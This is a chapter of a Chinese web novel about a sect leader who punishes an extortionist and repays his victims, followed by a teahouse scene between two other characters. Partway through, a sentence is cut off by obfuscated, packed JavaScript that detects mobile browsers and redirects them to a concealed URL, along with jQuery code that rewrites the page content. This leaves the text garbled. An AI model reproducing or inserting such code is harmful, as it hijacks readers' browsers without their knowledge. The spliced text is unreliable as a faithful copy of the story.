一只手,换一只手,听上去很公平。
可张楠竹自然不这么想。
他猝然抬头,眼里闪过惊恐,眉毛拧在一起,眼睛也不由得瞪大,掌心开始发麻。若说刚刚只是有些发冷汗,不至于失态。那现在他心中的恐惧终于有些掩藏不住了。
张楠竹真的有点怕了,但他想到自己有个可依仗的干爹在,又强行撑了撑腰杆。
牙关打着颤,张楠竹抬眼觑向魏策:“教主,凭……凭什么罚我?是他们先对我出言不逊的!再说了,我没想怎么样,谁知道他那么经不住事,轻轻一碰,手就折了呢。”
好一招颠倒黑白,刘婶气得直发抖。
“你……你……”刘婶到底还是那个好人,即便又气又急,也说不出什么难听的话来,只是抖着手指着他。
魏策冷笑一声,偏头看着兀自嘴硬的张楠竹。“是吗?”
魏策起身,走近张楠竹,歪着头,似在沉思他话的合理性,“我竟不知,还有这样的事……那当真是错怪你了。”
“这……”刘婶有几分错愕,待反应过来教主的话,她眼中已满是绝望。刚刚还撑着的脊背,似乎垮了下来。她男人也沉默着,安抚似的地拍了拍她的手。
魏策浑然不觉,伸出手去。
张楠竹以为这是个要扶他起来的姿势,心中想着,干爹似乎真的有点地位,他还未报家门,教主便对他另眼相待了。脸上露出个讨好的笑来,不由得也伸出手,递过去。
魏策脸上带着温和的笑意,手却按在张楠竹的手腕上。
张楠竹觉得不对,却也来不及缩手了。只听见咔的一声脆响,他脑子里只剩下一句话:原来手断了,竟是这样的感觉。
痛是第一感觉,惨叫声是在下一刻从嗓子里传出来的,张楠竹痛地再也来不及想什么了,他人歪倒在地,魏策垂下眼睫,看向自己的手:“这下我信了,当真是骨头太脆了。”
转变在须臾之间,刘婶脸上还带着泪,看向已经倒地惨叫的男人,一阵错愕。
待反应过来,心中只觉得痛快,她本以绝望的心,又在这场张楠竹的痛苦嘶叫中得以治愈,边哭着边给魏策磕头:“多谢教主为我们主持公道……”她男人抱着手,也同她一起,心中俱是痛快。
“来人。”魏策不甚在意地挥挥手,转身坐了回去。唤进来两个得力教徒,“去他住处,把能找到的银钱都拿来。”
二人领了命令,道了声是,随即转身走了。
“你……你敢这么对我!我干爹不会放过你的!”张楠竹也不装了,此时,他疼得厉害,眼前似乎有金星在闪。
刘婶和她男人听见这话,抬头看向魏策的眼神中不由得带了点担忧的神色。
魏策自然知道他嘴里的干爹是谁。若是不提便也罢了,既提了,魏策便忆起经历的桩桩件件,心中杀意更盛。
“你干爹?”魏策重复了一遍,轻笑出声。可眼神却好似淬了冰,不见一丝暖意,“那我可就恭候着了。”
很快,不只银钱便被他们拿了过来,连他那处值钱的物件一起搬了过来。魏策点点头,很满意这二人的处理能力。他伸出两根修长的手指,翻翻捡捡,从银子里挑出二十两,递给刘婶。
刘婶则慌忙摆手,这可比他从自己这里拿的多了不少呢,她不能多要。魏策没说什么,直接强硬地塞在了她手里。余下的则被拿去给那些被“借”钱的人,还帐。
被借钱的人起初不敢上前,后面得知张楠竹被狠狠教训了,于是便三五成群的来了。
魏策立了规矩,不只听他们的一面之词,还要有第二个知情的人证实,才能拿回被“借”的银钱。
一时间神殿前排了不短的队伍,甚是热闹,有来领钱的,也有来看热闹的。张楠竹彻底晕了过去,也不知究竟是疼的还是气的。
老许听到消息匆匆赶来的时候,便看见了掌事神殿外围着的人。他咬咬牙,犹豫片刻,并未上前。
上面曾经说过,要他在暗处,魏策在明处,以至于日常的行事里,常有种受限感。如今更是如此。
他心中焦急,里面毕竟是自己的干儿子。虽说他觉得魏策不敢对他老许如何,但对于一些旁的人,想来是不会手软的。尤其自己还曾几次三番的警告于他。
不行,还是要去看看。老许犹豫片刻,还是上前,想要找人通报一声。
对,如今见魏策竟要通报,老许只觉得可笑的很。若不是今日人多,他不想引起注意,不然今日定要直接闯进去和他理论一番。
他拖着蹒跚的腿,眼中露出不耐的神色,走到殿前,对着正在殿门口搬了把桌子记账的年轻教徒道:“挪一下,我要见教主。”
那人看着脸生,是个新入教的年轻人,也没怎么见过他。听见老许这倨傲的话,年轻人心里不舒服的很,于是抬起脸,上下缓缓地扫量了一番对方。
今日老许穿的亦是平平无奇,一身寻常的布衣,看不出什么稀罕名贵的门道来。于是放下心,不耐烦地啧了一声,开口更是不客气:“去去去,没看正忙着呢吗?教主是你想见就能见的?”
“就是,什么人都能见教主吗?”“你也有冤情啊?”“腿是不是被里面那畜生打的?”杂七杂八的话从耳边传来,直听地他气血翻涌。
“你!”老许气的快撅过去了,什么狗屁冤情,还敢嘲笑他的腿?!有冤情还用得着魏策?他还能是什么青天大老爷了不成?!
还真让她猜对了。这刘婶一来哭,教主一番雷霆之怒,确实让他们心中颇为服气。远的不说什么青天老爷了,就连这莫停镇的府衙县令,也是个见钱眼开的主,哪会为他们底层人做主啊。
可教主却会,不仅直接痛快地将人教训了,还上手将他们的钱都拿了回来,再还给他们。教主不是青天,谁又是呢?
“来,下一个——”那年轻人铆足了劲喊号,像是有股打心里冒出来的精气神,险些将旁人晃着了。
老许彻底被忽视了,他气的直抖。
此时,关着的殿门开了。他也再顾不上跟那小教徒生气,忙伸头看去。
门内出来两个人,手里还架着一位。定睛一看,这不是自己的好“儿子”,又能是谁?
老许腿不好,还没来得及再走近一些看看,便被这边看热闹和领钱的一群人挤开了。等他再站稳去看的时候,已经只剩一个背影了。
老许心中的怒气已经快压抑不住,不只是为了他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153664|161819||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的干儿子,更是因为被魏策挑衅的憋闷。
心中怒意更盛,却又不得发作,实在难受的很。
老许站定了,回头看向殿内。门依旧开着,穿过两侧人群向殿内望去,正好撞上魏策的眼神。
他正端坐在首座,眼神亦是沉沉的,回望着老许,二人谁也没有先移开视线。
于是某种无形的东西便像是撕开了它长久的伪装,变得血淋淋和清晰起来。
魏策端坐高处,脸上是浑不在意的神情,好似刚刚只是处理了一只啄人的草鸡。
他静静望着着老许,勾了勾唇角。老许眼神好似淬了毒一般,幽深晦暗,刚刚在激动和怒意下一直起伏的胸腔,倒在此时平息了下来。
从未搬到台面上来的恩怨,以及背地里的明争暗斗,此刻便再也遮掩不住了。
玉茗居,茶香萦绕。
“是我父亲的意思,这些年给县令也送了不少好礼和……银钱,只是最近要的越来越急,越来越多。便差我来看看。”张伯山给林云清倒上茶,这般说道。
竟是如此。
能让当地县令如此急着敛财,定是已经有了什么风声。若不是急着卸任,想多捞一点,那便当真是要乱了,在提前做准备。是邻国要打过来了吗?
再问,便问不出多的了。张伯山知道的确实也有限,如果有机会,她倒希望能见一见当地县令。
几个回合的交锋下,林云清套话意图已经被张伯山发现,他只是轻笑一声,无奈地摇头,不再多说。不过无妨,一些线索和消息都已经记在了林云清的脑中。
张伯山见林云清终于肯再理他,倒是愈发殷勤起来。二人气氛在他今日的坦白下,终于又和缓了一些,张伯山好似又燃起希望一般,对着林云清讲起身边的趣事来。
林云清偶尔应和两句。二人纠缠许久,她问话的目的已达到了,现下已没什么耐心了,只恹恹喝茶。
她看着热情和善,其实眼里是揉不进沙子的。这颗心也只会给人一次机会,若是将它弄丢了,那再能得到的,便只有她的冷淡敷衍。
“撤出莫停镇这样的大事,你需得办一些文书吧,准备何时去求见县令?”林云清打断他的闲话,如此问道。
“明日吧。”张伯山叹口气,这也意味着,他快要走了,看向对面朝思暮想的姑娘,他心中有些不舍和迟疑,“若是……若是你想我多留几日——”
“明日我和你一同去。”林云清打断了他的话,表情淡淡,这样说道。
张伯山愣了愣,这些时日都是自己纠缠着她不放,还是第一次见她主动约见要去哪里的。虽然这个地方……
“好!”张伯山点点头,脸上浮现笑意。他知道林云清去府衙是有事要做,可他却不想浪费和她在一起的每一刻。
目的达成,林云清对张伯山露出一个笑意,随后她垂下眼睫,心中开始思索起明日的计划。
可就是这一笑,却将张伯山的整颗心都笑软了。
林云清长得英气,笑起来不似寻常女子那般羞涩内敛,她好像没有寻常女子那般的含蓄,做什么都落落大方,像簇阳光一样,让人觉得暖洋洋的。
这样的姑娘,他没见过第二个。